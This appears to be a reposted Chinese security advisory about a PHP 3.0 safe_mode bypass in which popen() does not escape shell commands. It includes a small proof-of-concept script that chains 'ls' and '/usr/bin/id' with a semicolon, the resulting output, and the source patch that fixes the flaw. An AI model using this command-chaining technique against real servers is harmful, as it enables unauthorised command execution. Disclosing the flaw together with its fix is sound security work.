PHP3 safe_mode 失效漏洞


Posted in PHP onOctober 09, 2006

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

PHP 相关文章推荐
自定义PHP分页函数
Oct 09 PHP
提高PHP编程效率 引入缓存机制提升性能
Feb 15 PHP
深入php函数file_get_contents超时处理的方法详解
Jun 03 PHP
解析PHP无限级分类方法及代码
Jun 21 PHP
php实现的一个很好用HTML解析器类可用于采集数据
Sep 23 PHP
PHPMailer的主要功能特点和简单使用说明
Feb 17 PHP
PHP中error_reporting()用法详解
Aug 31 PHP
php版交通银行网银支付接口开发入门教程
Sep 26 PHP
利用php实现一周之内自动登录存储机制(cookie、session、localStorage)
Oct 31 PHP
php事件驱动化设计详解
Nov 10 PHP
PHP中$GLOBALS与global的区别详解
Mar 21 PHP
PHP保留两位小数的几种方法
Jul 24 PHP
vBulletin HACK----关于排版的两个HACK
Oct 09 #PHP
PHP+APACHE实现用户论证的方法
Oct 09 #PHP
从C/C++迁移到PHP——判断字符类型的函数
Oct 09 #PHP
PHP实现图片简单上传
Oct 09 #PHP
在线增减.htpasswd内的用户
Oct 09 #PHP
将OICQ数据转成MYSQL数据
Oct 09 #PHP
PHP中一个控制字符串输出的函数
Oct 09 #PHP
You might like
全国FM电台频率大全 - 30 宁夏回族自治区
2020/03/11 无线电
smarty实例教程
2006/11/19 PHP
色色整理的PHP面试题集锦
2012/03/08 PHP
php实现分页显示
2015/11/03 PHP
在Mac OS上搭建Nginx+PHP+MySQL开发环境的教程
2015/12/21 PHP
XmlUtils JS操作XML工具类
2009/10/01 Javascript
jquery1.9 下检测浏览器类型和版本的方法
2013/12/26 Javascript
javascript版的in_array函数(判断数组中是否存在特定值)
2014/05/09 Javascript
Jquery Ajax方法传值到action的方法
2014/05/11 Javascript
使用js实现数据格式化
2014/12/03 Javascript
Bootstrap中的Dropdown下拉菜单更改为悬停(hover)触发
2016/08/31 Javascript
Angular.js 4.x中表单Template-Driven Forms详解
2017/04/25 Javascript
vue填坑之webpack run build 静态资源找不到的解决方法
2018/09/03 Javascript
微信开发之微信jssdk录音功能开发示例
2018/10/22 Javascript
微信小程序用canvas画图并分享
2020/03/09 Javascript
[03:17]DOTA2-DPC中国联赛1月29日Recap集锦
2021/03/11 DOTA
python中global与nonlocal比较
2014/11/21 Python
Python中的数据对象持久化存储模块pickle的使用示例
2016/03/03 Python
python语言使用技巧分享
2016/05/31 Python
python中根据字符串调用函数的实现方法
2016/06/12 Python
使用python中的in ,not in来检查元素是不是在列表中的方法
2018/07/06 Python
Sanic框架Cookies操作示例
2018/07/17 Python
python re库的正则表达式入门学习教程
2019/03/08 Python
如何在scrapy中集成selenium爬取网页的方法
2020/11/18 Python
Famous Footwear加拿大:美国多品牌运动休闲鞋店
2018/12/05 全球购物
巴西香水和化妆品购物网站:The Beauty Box
2019/09/03 全球购物
俄罗斯苹果优质经销商商店:iPort
2020/05/27 全球购物
宿舍使用违章电器检讨书
2014/01/12 职场文书
国际贸易专业个人职业生涯规划
2014/02/15 职场文书
幼儿园门卫岗位职责范本
2014/07/02 职场文书
领导干部群众路线教育实践活动剖析材料
2014/10/10 职场文书
员工辞职信范文
2015/03/02 职场文书
任长霞观后感
2015/06/16 职场文书
读《瓦尔登湖》有感:每个人都需要一个瓦尔登湖
2019/10/17 职场文书
Pycharm远程调试和MySQL数据库授权问题
2022/03/18 MySQL
vue实现在data里引入相对路径
2022/06/05 Vue.js